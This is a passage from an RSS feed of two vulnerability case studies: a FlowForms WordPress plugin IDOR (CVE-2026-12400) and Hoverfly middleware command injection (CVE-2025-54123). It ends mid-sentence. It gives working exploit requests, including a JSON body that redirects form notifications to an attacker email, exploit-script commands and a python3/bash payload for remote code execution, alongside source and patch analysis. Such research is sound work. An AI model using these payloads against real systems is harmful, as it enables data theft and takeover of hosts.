            <link>https://medium.com/@phantom_hat/cve-2026-12400-case-study-flowforms-1-1-1-b5c06f4e0d71?source=rss-51d141216272------2</link>
            <guid isPermaLink="false">https://medium.com/p/b5c06f4e0d71</guid>
            <dc:creator><![CDATA[phantom_hat]]></dc:creator>
            <pubDate>Thu, 09 Jul 2026 21:09:36 GMT</pubDate>
            <atom:updated>2026-07-09T21:17:05.014Z</atom:updated>
            <content:encoded><![CDATA[<h3>CVE-2026–12400 Case Study FlowForms &lt;= 1.1.1 — Authenticated (Contributor+) Insecure Direct Object Reference to Arbitrary Form Modification</h3><h3>﷽</h3><h3>Introduction</h3><p>This case study focuses on <strong>CVE-2026–12400</strong>, discovered by <strong>Phantom Hat </strong>an <strong>Insecure Direct Object Reference (IDOR)</strong> vulnerability in FlowForms, a WordPress form builder plugin. The vulnerability carries a CVSS score of 4.3 MEDIUM (<a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N">CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N</a>) and affects all versions ≤ 1.1.1. The vulnerability is rooted in Authorization Bypass Through User-Controlled Key (CWE-639) and exists in the plugin’s REST API form management endpoints:</p><pre>POST /index.php?rest_route=/flowforms/v1/forms/{id} <br>POST /index.php?rest_route=/flowforms/v1/forms/{id}/settings </pre><p>In <strong>WordPress</strong>, the <strong>Contributor</strong> and Author roles are intentionally scoped to their own content a core access control principle. FlowForms’ form update endpoints break this model entirely by only verifying the edit_posts capability, which both Contributors and Authors possess. The critical missing piece: no ownership check. There is no verification that the authenticated user actually owns the target form identified by the user-controlled {id} parameter in the URL path.</p><p>This allows any <strong>low-privileged</strong> authenticated user (Contributor+) to arbitrarily modify any form on the site regardless of who created it including the form’s name, layout, content, redirect URLs, design configuration, and most critically, the email notification settings. <strong>Hijacking email</strong> notifications silently redirects all future form submission data including visitor messages, contact details, and personally identifiable information to an attacker-controlled address, with zero visibility to the site administrator.</p><p>In this case study I will demonstrate the Target Overview, Source Code Discovery &amp; Analysis, the exact authorization gap that creates this <strong>IDOR</strong> primitive, Manual Exploitation with working Proof of Concepts across three attack vectors, and a deep Patch Diffing of the fix.</p><p><a href="https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/flowforms/flowforms-111-authenticated-contributor-insecure-direct-object-reference-to-arbitrary-form-modification-via-rest-api-flowformsv1formsid-endpoints">https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/flowforms/flowforms-111-authenticated-contributor-insecure-direct-object-reference-to-arbitrary-form-modification-via-rest-api-flowformsv1formsid-endpoints</a></p><h3>Target Overview</h3><p>FlowForms (by Priyanshu Chaudhary) is a self-hosted, open-source conversational form builder plugin for WordPress. Unlike traditional multi-field contact form plugins, FlowForms delivers a Typeform-style step-by-step experience one question at a time aimed at improving form completion rates and user engagement.</p><p>The plugin ships with a React-powered drag-and-drop builder supporting 8 field types (Short Text, Long Text, Multiple Choice, Checkboxes, Rating, Yes/No, Email, and Number), full design customisation, pre-built templates, and flexible embed options via Shortcode, Gutenberg Block, or direct full-page URL (/flowform/{id}).</p><p>From a security perspective, FlowForms exposes a REST API registered under the `flowforms/v1` namespace, providing endpoints for complete form lifecycle management including:</p><ul><li>POST /flowforms/v1/forms -&gt; <strong>create a new form</strong></li><li>POST /flowforms/v1/forms/{id} -&gt; <strong>update form name and core data</strong></li><li>POST /flowforms/v1/forms/{id}/settings -&gt; <strong>to Update settings like email notification settings</strong></li><li>POST /flowforms/v1/forms/{id}/publish -&gt; <strong>publish a form to the live site</strong></li></ul><p>The /forms/{id} and /forms/{id}/settings endpoints are the attack surface. Both accept a user-supplied form {id} in the URL path and are responsible for modifying all aspects of a form from its display name to its email notification recipients. As we will demonstrate, these endpoints perform an insufficient capability check with no ownership verification whatsoever, and since the form ID is entirely user-controlled, this creates a classic Insecure Direct Object Reference primitive that any authenticated low-privileged user can weaponize against any form on the site.</p><h3>Discovery / Analysis</h3><p>Now it’s time to deep dive into the source code but since there is 3 abuse cases for this same vulnerability which are:</p><ol><li>Form Modification -&gt; To modify the contents, positions, colors and other settings</li><li>Settings Modification -&gt; This is more impactful since we can edit settings and we can change the email and hijack all notifications for that form</li><li>Form name Modification -&gt; just to change the name and redirect url of the form</li></ol><blockquote>We will use <strong>Settings Modification</strong> <strong>Attack</strong> for testing so that not repeating things for name and content modification, in automated Exploit section i will demonstrate all 3 attack types</blockquote><p>The vulnerability originates in the file:</p><pre>wp-content/plugins/flowforms/includes/class-rest-api.php</pre><p>In the start we get a function.</p><pre>public function register_routes()<br>{<br>  $ns = &#39;flowforms/v1&#39;;<br>  // SNIP<br>}</pre><p>at the start of this function there’s a namespace for the Rest API.</p><pre>    // Update form settings — writes directly to top-level settings key<br>    register_rest_route($ns, &#39;/forms/(?P&lt;id&gt;\d+)/settings&#39;, [<br>      &#39;methods&#39;             =&gt; WP_REST_Server::EDITABLE,<br>      &#39;callback&#39;            =&gt; [$this, &#39;update_settings&#39;],<br>      &#39;permission_callback&#39; =&gt; fn() =&gt; current_user_can(&#39;edit_posts&#39;),<br>    ]);<br><br>    // Update form (builder auto-saves to draft slot)<br>    register_rest_route($ns, &#39;/forms/(?P&lt;id&gt;\d+)&#39;, [<br>      &#39;methods&#39;  =&gt; WP_REST_Server::EDITABLE,<br>      &#39;callback&#39; =&gt; [$this, &#39;update_form&#39;],<br>      &#39;permission_callback&#39; =&gt; fn() =&gt; current_user_can(&#39;edit_posts&#39;),<br>    ]);</pre><p>then it register a rest API route to update settings and content of forms using the wordpress register_rest_routes() funtction:</p><pre>register_rest_route( string $route_namespace, string $route, array $args = array(), bool $override = false ): bool</pre><p>while registering routes there is a problem which exists in permission_callback it checks only the user has capability using current_user_can() to edit posts or not, it doesn’t check is user authorized to modify that post. that’s the vulnerability.<br>and as a callback function it use update_settings update_form functions in the class to update settings and the contents of the form. Below is the syntax of current_user_can which can check the capability on the specific post too.</p><pre>current_user_can( string $capability, mixed $args ): bool</pre><p>if we provide the form id it it will check the capability on that form.</p><h4>update_settings Logic</h4><pre>  public function update_settings($request)<br>  {<br>    $form_id  = absint($request[&#39;id&#39;]);<br>    $settings = $request-&gt;get_param(&#39;settings&#39;);<br><br>    // SNIP<br><br>    // Merge incoming settings over defaults so any keys added in future plugin<br>    // updates are backfilled into existing forms on their next save.<br>    $merged = array_replace_recursive($this-&gt;default_settings(), $slots[&#39;settings&#39;] ?? [], $settings);<br><br>    // Settings sit at the top level — content and design are untouched.<br>    $json  = $this-&gt;encode_slots($slots[&#39;content&#39;][&#39;published&#39;], $slots[&#39;content&#39;][&#39;draft&#39;], $slots[&#39;design&#39;], $merged);<br>    $saved = $this-&gt;save_post_content($form_id, $json);<br><br>    if (! $saved) {<br>      return new WP_REST_Response([&#39;message&#39; =&gt; &#39;Failed to save settings.&#39;], 500);<br>    }<br><br>    return new WP_REST_Response([<br>      &#39;success&#39; =&gt; true,<br>      &#39;form_id&#39; =&gt; $form_id,<br>      &#39;message&#39; =&gt; &#39;Settings updated successfully.&#39;,<br>    ], 200);<br>  }</pre><p>$form_id is a user-controlled input parameter extracted directly <br>from the URL path no ownership validation is performed at any point.</p><p>The function applies 3 input sanity checks: form_id must be non-zero, <br>settings must be a non-empty array, and the resolved post must exist <br>and be of type flowforms_forms. None of these checks verify whether <br>the requesting user owns or has any relationship to the target form.</p><p>It then merges the attacker-supplied settings over the existing form <br>settings using array_replace_recursive(), re-encodes all form slots <br>via encode_slots(), and persists the merged result directly to the <br>WordPress database via save_post_content() which internally calls <br>wpdb-&gt;update().</p><p>The most critical target within $settings is the notification email <br>key. An attacker can overwrite it to an attacker-controlled address, <br>silently hijacking all future form submission notifications with zero <br>admin visibility.</p><h3>Manual Exploitation</h3><p>we need a form to attack we can attack on any form in the automated exploit i added the form enumeration functionality which finds the forms and ask you to target from them.</p><h4>Enumerating Drafted Forms</h4><p>the endpoint to find form is:</p><pre>http://&lt;target&gt;/flowform/&lt;id&gt;/</pre><p>since finding manually is time consuming i also created an exploit for this which can easily find and attack on the form which i will demonstrate in next section.</p><h4>Exploitation</h4><p>In this scenario we are targeting the form 60</p><p>Let’s Lock the target 60</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NvdNFGNMFSavUcZrhWrHOQ.png" /></figure><p>let’s take a look of it’s settings that we will modify.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/989/1*Qz4Yvtsk9AX0hGhzeSCnJA.png" /><figcaption>unmodified settings</figcaption></figure><p>to exploit this vulnerability for settings the endpoint is:</p><pre>/flowforms/v1/forms/60/settings</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8tn2JbNzdJXvu844NspHJw.png" /></figure><p>The json template for settings is:</p><pre>{<br>    &quot;settings&quot;: {<br>        &quot;general&quot;: {<br>            &quot;progress_bar&quot;: true,<br>            &quot;navigation_arrows&quot;: true,<br>            &quot;powered_by&quot;: false<br>        },<br>        &quot;email&quot;: {<br>            &quot;enabled&quot;: true,<br>            &quot;notifications&quot;: {<br>                &quot;1&quot;: {<br>                    &quot;name&quot;: &quot;Admin Notification&quot;,<br>                    &quot;email&quot;: &quot;hacker@gmail.com&quot;,<br>                    &quot;subject&quot;: &quot;New submission: {form_name}&quot;,<br>                    &quot;sender_name&quot;: &quot;{site_name}&quot;,<br>                    &quot;sender_address&quot;: &quot;{admin_email}&quot;,<br>                    &quot;replyto&quot;: &quot;&quot;,<br>                    &quot;message&quot;: &quot;Hi,\n\nYour form {form_name} just received a new submission.\n\nHere are the details:\n\n{all_fields}&quot;<br>                }<br>            }<br>        }<br>    }</pre><p>it can be modified according to the scenario.</p><p>Let’s Verify the modification</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*a3KdwVVVy6nbAyY1OavZsQ.png" /></figure><p>We successfully modified the email.</p><h3>Automated Exploit</h3><p>I developed a complete exploit to enumerate forms and attack them. The exploit covers all attack types for modification.</p><p>Hers’s the Exploit:</p><p><a href="https://github.com/0x00phantom-hat/CVE-2026-12400-Exploit/">GitHub - 0x00phantom-hat/CVE-2026-12400-Exploit</a></p><p>The exploit enumerate the forms and displays it to user and prompt the user to choose from those available forms for attack.</p><p>attacker can adjust the range to find drafted forms and enables proxy for debugging or understanding the vulnerability</p><p>In the automated Exploit there are templates available just modify the template and specify the attack type</p><h4>Adjusting Templates</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*U3svz-9fGlnPUr4Ie-1Xww.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CnW_qfveyxZ141AuRV9eGQ.png" /></figure><p>I adjusted the templates in the email modification template i only changed the email and in the name changing template i only changed the name</p><p>but in content modification template i adjusted the template for the little bit form defacement to show it’s impact, since this is my local docker environment.</p><p>Now test all of these against the form 60.</p><h4>Email Attack</h4><pre>python CVE-2026-12400-exploit.py --url http://127.0.0.1 -i 30 -n 70 --user noob --password noob --exploit email</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BWQubnl4FLbkNs0a0w7JSQ.png" /></figure><p>Email changed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/969/1*AyVhTHXASmObV27cYBUEog.png" /></figure><h4>Name Modification</h4><pre>python CVE-2026-12400-exploit.py --url http://127.0.0.1 -i 30 -n 70 --user noob --password noob --exploit name</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*S--lSF5ZWhtNff3lOB8MLQ.png" /></figure><p>Name Changed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*osZl5xzIal1j985htDNq-w.png" /></figure><h4>Form Deface demo</h4><pre>python CVE-2026-12400-exploit.py --url http://127.0.0.1 -i 30 -n 70 --user noob --password noob --exploit content</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wWfF92kFCt6_kvq0_fjEJg.png" /></figure><p>Form Defaced.</p><p><strong>Before:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*b9mNTSkjSsMKoAHZouUPiQ.png" /></figure><p><strong>After:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8dxqv4obs8zSHfCH1f4ohA.png" /></figure><p>after submitting the form it redirects on the attacker controlled website attacker can give any url to redirect in the redirectUrl while adjusting the content modification template.</p><h3>Patch Analysis</h3><p>The developer implemented the patch. now the permission_callback doesn’t use the current_user_can()</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*O40y2tRIq33dzL_yDvCRGw.png" /></figure><p>The developer created a function to check edit_post capability on the form id from the request. and implemented that function on the rest API Endpoints.</p><pre>private function can_edit_form($form_id) {<br>    return current_user_can(&#39;edit_post&#39;, $form_id);<br>}</pre><p>this function checks the capability of edit_post on the specific form id.</p><p>It make sure that the user is authorized to edit that form or not.</p><h3>References</h3><ul><li><a href="https://developer.wordpress.org/reference/functions/current_user_can/">current_user_can() - Function | Developer.WordPress.org</a></li><li><a href="https://developer.wordpress.org/reference/functions/register_rest_route/">register_rest_route() - Function | Developer.WordPress.org</a></li><li><a href="https://cwe.mitre.org/data/definitions/639.html">CWE - CWE-639: Authorization Bypass Through User-Controlled Key (4.20)</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b5c06f4e0d71" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[CVE-2025–54123 Hoverfly ≤1.11.3 Command Injection (RCE) Case Study & Patch Diffing]]></title>
            <link>https://medium.com/@phantom_hat/cve-2025-54123-hoverfly-1-11-3-command-injection-rce-case-study-patch-diffing-aacc092f7f3a?source=rss-51d141216272------2</link>
            <guid isPermaLink="false">https://medium.com/p/aacc092f7f3a</guid>
            <category><![CDATA[vulnerability-research]]></category>
            <category><![CDATA[command-injection]]></category>
            <category><![CDATA[rce]]></category>
            <category><![CDATA[vulnerability]]></category>
            <category><![CDATA[code-review]]></category>
            <dc:creator><![CDATA[phantom_hat]]></dc:creator>
            <pubDate>Wed, 27 May 2026 23:02:16 GMT</pubDate>
            <atom:updated>2026-05-27T23:02:16.120Z</atom:updated>
            <content:encoded><![CDATA[<h3>﷽</h3><h3>Introduction</h3><p>This Case Study focuses on <strong>CVE-2025–54123</strong>, a critical Remote Code Execution vulnerability discovered in <strong>Hoverfly</strong>, an open-source API simulation and service virtualization tool widely used in CI/CD pipelines and development environments. The CVSS score is <strong>9.8 CRITICAL</strong> <strong>(AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)</strong>, and it affects all versions <strong>≤ 1.11.3</strong>.</p><p>The vulnerability is rooted in <strong>OS Command Injection (CWE-78)</strong> combined with <strong>Improper Input Validation (CWE-20)</strong> and exists in the middleware management API endpoint:</p><p>In this case study I will demonstrate the Target Overview, Discovery &amp; Source Code Analysis, the three code-level flaws that combine to create the injection primitive, Manual Exploitation, and a deep Patch Diffing of the fix introduced in version 1.12.0.</p><blockquote><strong><em>NVD Reference:</em></strong><em> </em><a href="https://nvd.nist.gov/vuln/detail/CVE-2025-54123"><em>https://nvd.nist.gov/vuln/detail/CVE-2025-54123</em></a></blockquote><blockquote><strong><em>GitHub Advisory:</em></strong><em> </em><a href="https://github.com/SpectoLabs/hoverfly/security/advisories/GHSA-r4h8-hfp2-ggmf"><em>https://github.com/SpectoLabs/hoverfly/security/advisories/GHSA-r4h8-hfp2-ggmf</em></a></blockquote><h3>Target Overview</h3><p><strong>Hoverfly</strong> (by SpectoLabs) is a lightweight, open-source service virtualization tool written in Go. It allows developers and testers to simulate HTTP(S) services, capture and replay API traffic, and apply middleware transformations to request/response pairs in real time.</p><p>From a security perspective, Hoverfly exposes an <strong>Admin API</strong> (default port 8888) which provides management endpoints including:</p><ul><li>GET /api/v2/hoverfly/middleware retrieve current middleware config</li><li>PUT /api/v2/hoverfly/middleware set middleware binary and/or script</li></ul><p>The PUT endpoint is the attack surface. It accepts a JSON body specifying a binary field (and optionally a script field) which Hoverfly uses to configure a middleware executable. This user-supplied value is ultimately passed directly to exec.Command() with no sanitization giving an attacker the ability to execute arbitrary OS commands on the host with the privileges of the Hoverfly process.</p><h3>Black Box Discovery / Analysis</h3><h4>Black Box Enumeration</h4><p>The middleware endpoint is only accessible to authorized users so analyzing it requires proper authorization.</p><p>we have to login to interact with middleware</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*q168Wobr27HdOEpOB9SCAA.png" /><figcaption>Login page</figcaption></figure><p>After logging in it redirects to /dashboard</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YaB9AcnJtwm2YywWvm8LmQ.png" /><figcaption>Dashboard</figcaption></figure><p>Here are some interesting fields which are Binary and Script as name suggests it’s something related to script execution.</p><p>after logging in I noticed that it’s sending GET Request to 2 endpoints with the delay of 5 seconds</p><ul><li>/api/v2/hoverfly</li><li>/api/v2/hoverfly/middleware</li></ul><p>The response of /api/v2/hoverfly/middleware looks interesting because it contains a json response with 3 keys binary, script, remote</p><pre>{<br>    &quot;binary&quot;: &quot;&quot;,<br>    &quot;script&quot;: &quot;&quot;,<br>    &quot;remote&quot;: &quot;&quot;<br>}</pre><p>By modifying request to /api/v2/hoverfly/middlewareendpoint from GET to OPTIONS the Response reveals that it supports 3 HTTP Methods GET, PUT, OPTIONS</p><h4>Black Box Discovery</h4><p>After Changing the request Method to PUT without json body</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JGChodwba-aMsN129cpeDA.png" /></figure><p>Looks like it require a valid json format let’s add with empty values.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CnBhDNBOEU3Jg8MKWV9Xdg.png" /></figure><p>with empty json it sent what input values it accepts to run binary and scripts and remote looks like it requires a remote server, let’s first try with binary and script parameters to see how it behave.</p><h4>Exploitation</h4><p>for the value of binary we have to give a valid binary like ruby or python since the second parameter suggest it require some kind of script so we can pass a script related to that binary</p><p><strong>FOR EXAMPLE:<br></strong>if we set the value of binary to python3 since it is a binary of python3 then we can pass some python code as the value of script for example</p><pre>{<br>    &quot;binary&quot;:&quot;python3&quot;,<br>    &quot;script&quot;:&quot;print(\&quot;hi hacker\&quot;)&quot;<br>}</pre><p>let’s try and see what’s the behavior</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MTp7VQQ0cK0O6eP_elR6MQ.png" /></figure><p>it throws an error but if we look closely after STDOUT we can see there’s the output of our print statement. means we achieved code execution on the target machine now let’s try with bash since the bash binary is located at /bin/bash</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XsGA5q06X_JmE7e1WnWUOQ.png" /></figure><p>Amazing here’s the output of of id command after STDOUT and we achieved RCE at the victim machine.</p><p>We achieved the RCE on the victim machine now it’s time to move on towards White box analysis and deep dive in the depth of this vulnerability and differentiate between patched code and vulnerable code.</p><h3>White Box Discovery / Analysis</h3><h4>Architecture of the Middleware System</h4><p>Hoverfly’s middleware feature is designed to allow custom transformation of request/response pairs. The flow is:</p><pre>Admin API PUT /api/v2/hoverfly/middleware<br>        ↓<br>hoverfly_service.go  →  SetMiddleware()<br>        ↓<br>middleware.go  →  ConvertToNewMiddleware() / SetBinary()<br>        ↓<br>local_middleware.go  →  executeMiddlewareLocally()  →  exec.Command(this.Binary)</pre><p>Three separate files each contribute one flaw. Together, they create a fully weaponizable RCE chain.</p><h4>Hoverfly Middleware request handling architecture</h4><p>Hoverfly use it’s own handler package to handle requests it has functions for reading the requests and writing the response <em>ReadFromRequest</em>(<strong><em>request</em></strong> *http.Request, <strong><em>v</em></strong> interface{}) , <em>writeResponse</em>(<strong><em>response</em></strong> http.ResponseWriter, <strong><em>bytes</em></strong> []byte, <strong><em>contentType</em></strong> string) and others like for writing error response or write response with content type.</p><p>then this package is used in the file hoverfly-1.11.3/core/handlers/v2/hoverfly_middleware_handler.go and this file is used to handle the requests of middleware. this file has</p><ul><li>1 Interface named HoverflyMiddleware</li><li>1 Struct named HoverflyMiddlewareHandler</li><li>4 Functions</li></ul><ol><li><em>RegisterRoutes</em>(<strong><em>mux</em></strong> *bone.Mux, <strong><em>am</em></strong> *handlers.AuthHandler) for registering routes.</li><li><em>Get</em>(<strong><em>w</em></strong> http.ResponseWriter, <strong><em>req</em></strong> *http.Request, <strong><em>next</em></strong> http.HandlerFunc) to handle GET Requests for middleware</li><li><em>Put</em>(<strong><em>w</em></strong> http.ResponseWriter, <strong><em>req</em></strong> *http.Request, <strong><em>next</em></strong> http.HandlerFunc) to handle PUT Requests for middleware</li><li><em>Options</em>(<strong><em>w</em></strong> http.ResponseWriter, <strong><em>r</em></strong> *http.Request, <strong><em>next</em></strong> http.HandlerFunc) to handle OPTIONS Requests for middleware</li></ol><pre>func (this *HoverflyMiddlewareHandler) RegisterRoutes(mux *bone.Mux, am *handlers.AuthHandler) {<br> mux.Get(&quot;/api/v2/hoverfly/middleware&quot;, negroni.New(<br>  negroni.HandlerFunc(am.RequireTokenAuthentication),<br>  negroni.HandlerFunc(this.Get),<br> ))<br><br> mux.Put(&quot;/api/v2/hoverfly/middleware&quot;, negroni.New(<br>  negroni.HandlerFunc(am.RequireTokenAuthentication),<br>  negroni.HandlerFunc(this.Put),<br> ))<br> mux.Options(&quot;/api/v2/hoverfly/middleware&quot;, negroni.New(<br>  negroni.HandlerFunc(this.Options),<br> ))<br>}</pre><p>This function register routes and we can see if we send GET or PUT Requests to middleware endpoint /api/v2/hoverfly/middleware it checks the token authentication using the function of AuthHandler struct in from the package handlers the function name is RequireTokenAuthentication which is available in the file hoverfly-1.11.3/core/handlers/auth_handler.go</p><p>We can send json payload using PUT request so let’s analyze how it handles our request</p><p>in other functions like Options and Get the work is simple in Get Function it just send the response with the values of Binary Script and Remote from the struct</p><pre>middlewareView.Binary, middlewareView.Script, middlewareView.Remote = this.Hoverfly.GetMiddleware()<br>// SNIP<br>handlers.WriteResponse(w, middlewareBytes)</pre><p>and The Option function only send the header by setting the values using Add function from http library this line sets the Allow Header value to OPTIONS, GET, PUT</p><pre>w.Header().Add(&quot;Allow&quot;, &quot;OPTIONS, GET, PUT&quot;)</pre><h4>Tracing Put Request Flow</h4><p>Now the input is flowing from the Put Function</p><pre>func (this *HoverflyMiddlewareHandler) Put(w http.ResponseWriter, req *http.Request, next http.HandlerFunc) {<br> var middlewareReq MiddlewareView<br> err := handlers.ReadFromRequest(req, &amp;middlewareReq)<br> if err != nil {<br>  handlers.WriteErrorResponse(w, err.Error(), 400)<br>  return<br> }<br><br> err = this.Hoverfly.SetMiddleware(middlewareReq.Binary, middlewareReq.Script, middlewareReq.Remote)<br> if err != nil {<br>  handlers.WriteErrorResponse(w, err.Error(), 422)<br>  return<br> }<br><br> this.Get(w, req, next)<br>}</pre><p>1st line initializes a struct variable named middlewareReq of struct MiddlewareView</p><pre>type MiddlewareView struct {<br> Binary string `json:&quot;binary&quot;`<br> Script string `json:&quot;script&quot;`<br> Remote string `json:&quot;remote&quot;`<br>}</pre><p>The MiddlewareView struct defines the expected request data model containing three string fields Binary, Script, and Remote each mapped to corresponding JSON keys</p><p>then it reads the request from it’s own reader from package handlers</p><p>this.Hoverfly.<em>SetMiddleware</em>(middlewareReq.Binary, middlewareReq.Script, middlewareReq.Remote)</p><p>this line sets the middleware let’s break it down</p><p>HoverflyMiddlewareHandler this is the struct in this file which is referenced as this and it has an Interface as Hoverfly</p><pre>type HoverflyMiddleware interface {<br> GetMiddleware() (string, string, string)<br> SetMiddleware(string, string, string) error<br>}<br><br>type HoverflyMiddlewareHandler struct {<br> Hoverfly HoverflyMiddleware<br>}</pre><p>and if error occurs it will use WriteErrorResponse to send the error response with status code 422</p><p>Now our input values are going towards <em>SetMiddleware </em>Function</p><h4>Malformed JSON Error</h4><p>let’s analyze the function ReadFromRequest to see why we get the <strong>Malformed JSON</strong> Error when we sent the empty request in our previous Black Box testing</p><pre>body, _ := io.ReadAll(request.Body)<br><br> err := json.Unmarshal(body, &amp;v)<br> if err != nil {<br>  return errors.New(&quot;Malformed JSON&quot;)<br> }</pre><p>these lines are critical to understand why we got that error before</p><p>First it reads the Request body using http.Request.Body and read that body using the ReadAll function from io library and set it to the variable named body</p><p>The json.Unmarshal(body, &amp;v) line parses the JSON data from the request body and stores the decoded values inside the object referenced by v, which is passed dynamically through the empty interface (interface{}). but in the previous scenario we didn’t sent any json data so the Unmarshal trows and error and then if condition became true and it throws the error.</p><h4>SetMiddleware Mechanism</h4><pre>func (hf *Hoverfly) SetMiddleware(binary, script, remote string) error</pre><p>This is the function definition</p><pre>newMiddleware := &amp;middleware.Middleware{}<br> if binary == &quot;&quot; &amp;&amp; script == &quot;&quot; &amp;&amp; remote == &quot;&quot; {<br>  hf.Cfg.Middleware = *newMiddleware<br>  return nil<br> }</pre><p>then it initializes a struct variable named newMiddleware of the struct Middleware without any values which is clearing the values of middleware this struct is available at hoverfly package middleware in the file hoverfly-1.11.3/core/middleware/middleware.go <br>Here’s the struct definition:</p><pre>type Middleware struct {<br> Binary string<br> Script *os.File<br> Remote string<br>}</pre><p>now from the Middleware struct these functions will set the values of our input values</p><pre>if binary == &quot;&quot; &amp;&amp; script != &quot;&quot; {<br>  return fmt.Errorf(&quot;cannot run script with no binary&quot;)<br> }<br><br> err := newMiddleware.SetBinary(binary)<br> if err != nil {<br>  return err<br> }<br><br> err = newMiddleware.SetScript(script)<br> if err != nil {<br>  return err<br> }<br><br> err = newMiddleware.SetRemote(remote)<br> if err != nil {<br>  return err<br> }</pre><p>SetBinary and SetRemote functions are simple setter functions</p><pre>func (this *Middleware) SetBinary(binary string) error {<br> this.Binary = binary<br> return nil<br>}<br><br>func (this *Middleware) SetRemote(remoteUrl string) error {<br> this.Remote = remoteUrl<br> return nil<br>}</pre><p>these function sets the provided value to the struct.</p><p><strong>SetScript Key Behavior Analysis:</strong></p><pre>func (this *Middleware) SetScript(scriptContent string) error {</pre><ul><li>This function takes script content as input and attaches it to the middleware system in a controlled way.</li><li>Instead of storing raw input directly, it creates a temporary file-based representation.</li></ul><p><strong>1. Temporary Workspace Creation</strong></p><pre>tempDir := path.Join(os.TempDir(), &quot;hoverfly&quot;)<br>os.Mkdir(tempDir, 0777)</pre><ul><li>A dedicated temporary directory is prepared inside the system temp folder.</li><li>This ensures scripts are stored in an isolated environment.</li><li>Even if the directory already exists, errors are ignored intentionally.</li></ul><p><strong>2. Script File Creation (Core Mechanism)</strong></p><pre>newScript, err := os.CreateTemp(tempDir, &quot;hoverfly_&quot;)</pre><ul><li>A unique temporary file is created for the script.</li><li>Each execution gets a separate file to avoid overwriting or conflicts.</li></ul><p><strong>3. Writing User Input to File</strong></p><pre>_, err = newScript.Write([]byte(scriptContent))</pre><ul><li>The actual script content provided by the user is written into the temporary file.</li><li>At this point, the middleware is no longer holding raw input it is persisted on disk.</li></ul><p><strong>4. Replacing Old Script Safely</strong></p><pre>this.DeleteScript()<br>this.Script = newScript</pre><ul><li>Any previously stored script is deleted first.</li><li>Then the new script file is assigned to the middleware.</li></ul><p>in the SetMiddleware after setting all values using setter functions it prepares the test request data</p><pre>testData := models.RequestResponsePair{<br>  Request: models.RequestDetails{<br>   Path:        &quot;/&quot;,<br>   Method:      &quot;GET&quot;,<br>   Destination: &quot;www.test.com&quot;,<br>   Scheme:      &quot;&quot;,<br>   Query:       map[string][]string{},<br>   Body:        &quot;&quot;,<br>   Headers:     map[string][]string{&quot;test_header&quot;: {&quot;true&quot;}},<br>  },<br>  Response: models.ResponseDetails{<br>   Status:  200,<br>   Body:    &quot;ok&quot;,<br>   Headers: map[string][]string{&quot;test_header&quot;: {&quot;true&quot;}},<br>  },<br> }</pre><p>and exectution goes to Middleware Struct’s Execute Function in the middleware package</p><pre>_, err = newMiddleware.Execute(testData)<br> if err != nil {<br>  return err<br> }</pre><h4>Middleware Execute</h4><p>In this function there’s a check for Remote value of the Struct to execute locally or remotely</p><pre>if this.Remote == &quot;&quot; {<br>  return this.executeMiddlewareLocally(pair)<br> } else {<br>  return this.executeMiddlewareRemotely(pair)<br> }</pre><p>then Execution goes to executeMiddlewareLocally</p><h4>The vulnerable Sink</h4><p>In this file hoverfly-1.11.3/core/middleware/local_middleware.go we got the function executeMiddlewareLocally which has the vulnerable sink which allows user to execute commands</p><pre>var middlewareCommand *exec.Cmd<br> if this.Script == nil {<br>  middlewareCommand = exec.Command(this.Binary)<br> } else {<br>  middlewareCommand = exec.Command(this.Binary, this.Script.Name())<br> }</pre><p>At the beginning of the function here’s the vulnerable sink. this.Binary and this.Script which is controlled by attacker as we observed in setter functions, that values are directly passing without any input sanatization</p><p>exec.<em>Command </em>this function returns the struct with arguments to run the command</p><pre>if err := middlewareCommand.Start(); err != nil {<br>  log.WithFields(log.Fields{<br>   &quot;sdtdout&quot;: string(stdout.Bytes()),<br>   &quot;sdtderr&quot;: string(stderr.Bytes()),<br>   &quot;error&quot;:   err.Error(),<br>  }).Error(&quot;Middleware failed to start&quot;)<br>  return pair, &amp;MiddlewareError{<br>   OriginalError: err,<br>   Message:       &quot;Middleware failed to start&quot;,<br>   Command:       this.toString(),<br>   Stdin:         string(pairViewBytes),<br>   Stdout:        string(stdout.Bytes()),<br>   Stderr:        string(stderr.Bytes()),<br>  }<br> }</pre><p>and the Start() function starts the command execution.</p><h3>The Output Processing why we get result with error</h3><h4>Output format mismatch</h4><p>Later code expects JSON:</p><pre>json.Unmarshal(stdout.Bytes(), &amp;newPairView)</pre><p>If middleware returns:</p><pre>uid=0(root) gid=0(root)</pre><p><strong>JSON Parsing Failure (Hidden Major Error Source)</strong></p><pre>err = 